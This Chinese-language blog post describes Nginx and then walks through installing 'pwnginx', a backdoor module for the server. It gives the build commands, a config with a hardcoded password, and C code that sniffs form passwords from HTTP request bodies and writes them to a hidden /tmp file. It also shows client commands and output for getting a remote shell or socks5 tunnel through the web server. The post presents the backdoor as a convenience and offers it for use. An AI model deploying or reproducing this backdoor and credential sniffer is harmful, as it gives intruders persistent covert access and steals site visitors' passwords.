Nginx(发音同 engine x)是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,供俄国大型的入口网站及搜索引擎Rambler(俄文:Рамблер)使用。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好.中国大陆使用nginx网站用户有:新浪、网易、 腾讯等。
Nginx代码完全用C语言从头写成,已经移植到许多体系结构和操作系统,包括:Linux、FreeBSD、Solaris、Mac OS X、AIX以及Microsoft Windows。Nginx有自己的函数库,并且除了zlib、PCRE和OpenSSL之外,标准模块只使用系统C库函数。而且,如果不需要或者考虑到潜在的授权冲突,可以不使用这些第三方库。
作为邮件代理服务器:Nginx 同时也是一个非常优秀的邮件代理服务器(最早开发这个产品的目的之一也是作为邮件代理服务器),Last. fm 描述了成功并且美妙的使用经验。
Nginx 是一个安装非常的简单,配置文件非常简洁(还能够支持perl语法),Bugs非常少的服务器:Nginx 启动特别容易,并且几乎可以做到7*24不间断运行,即使运行数个月也不需要重新启动。你还能够不间断服务的情况下进行软件版本的升级。
Tm3y锅锅一直是我偶像,即使他不在360了,他写得这东西是一个Nginx的模块,为了减少你服务器的使用资源,使用此模块你可以不必要安装Telnet Openssh-server等等远程服务,或者有你可以通过Ningx开启一个socks5代理来访问内部资源
Nginx的无缝升级和添加模块一直是很方便,添加这个模块到你服务器非常简单
[root@centos6 nginx-1.5.2]# /pen/evil/n/sbin/nginx -V nginx version: nginx/1.5.2 built by gcc 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) configure arguments: --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module [root@centos6 nginx-1.5.2]# git clone https://github.com/t57root/pwnginx.git [root@centos6 nginx-1.5.2]# ./configure --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module --add-module=./pwnginx/module/ [root@centos6 nginx-1.5.2]# make && make install
然后重启你的Nginx就行,编译你时候你需要定义写东西
[root@centos6 module]# cat config.h #ifndef CONFIG_H #define CONFIG_H #define PASSWORD "t57root" #define PWD_SNIFF_FILE "/tmp/.web_sniff" #define ROOTSHELL #endif [root@centos6 module]#
还能进行sniff Http哦~
if (r->request_body){
ngx_chain_t *cl = r->request_body->bufs;
if(cl){
//1024
char *tmp_buf = malloc(1025);
tmp_buf[1024]='\0';
strncpy(tmp_buf,(char *)cl->buf->pos,1024);
if( ngx_strcasestrn((u_char *)tmp_buf, "password=",9-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "passwd=",7-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "pwd=",4-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"password\"",15-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"passwd\"",13-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"pwd\"",10-1)){
FILE *fp = fopen(PWD_SNIFF_FILE,"a");
r->request_line.data[(int)r->request_line.len]='\0';
fprintf(fp,"%s\n",(char *)r->request_line.data);
r->headers_in.host->value.data[(int)r->headers_in.host->value.len]='\0';
fprintf(fp,"Host:%s\n",(char *)r->headers_in.host->value.data);
fprintf(fp,"%s\n======================\n",cl->buf->pos);
fclose(fp);
}
}
}
获得一个SHELL:
[root@centos6 client]# ./pwnginx shell 127.0.0.1 80 t57root [ Pwnginx ] - Pwn nginx Copyleft by t57root @ openwill.me <t57root@gmail.com> [www.HackShell.net] Usage: Get a shell access via the nginx running @ [ip]:[port] ./pwnginx shell [ip] [port] [password] Get a socks5 tunnel listening at [socks5ip]:[socks5port] ./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port] [i] Obtaining shell access [i] About to connect to nginx [i] Enjoy the real world. id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
源代码和详细说明你可以在TM3Y的GIT里找到:https://github.com/t57root/pwnginx
Update :内网的Nginx 貌似不能用,测试了N多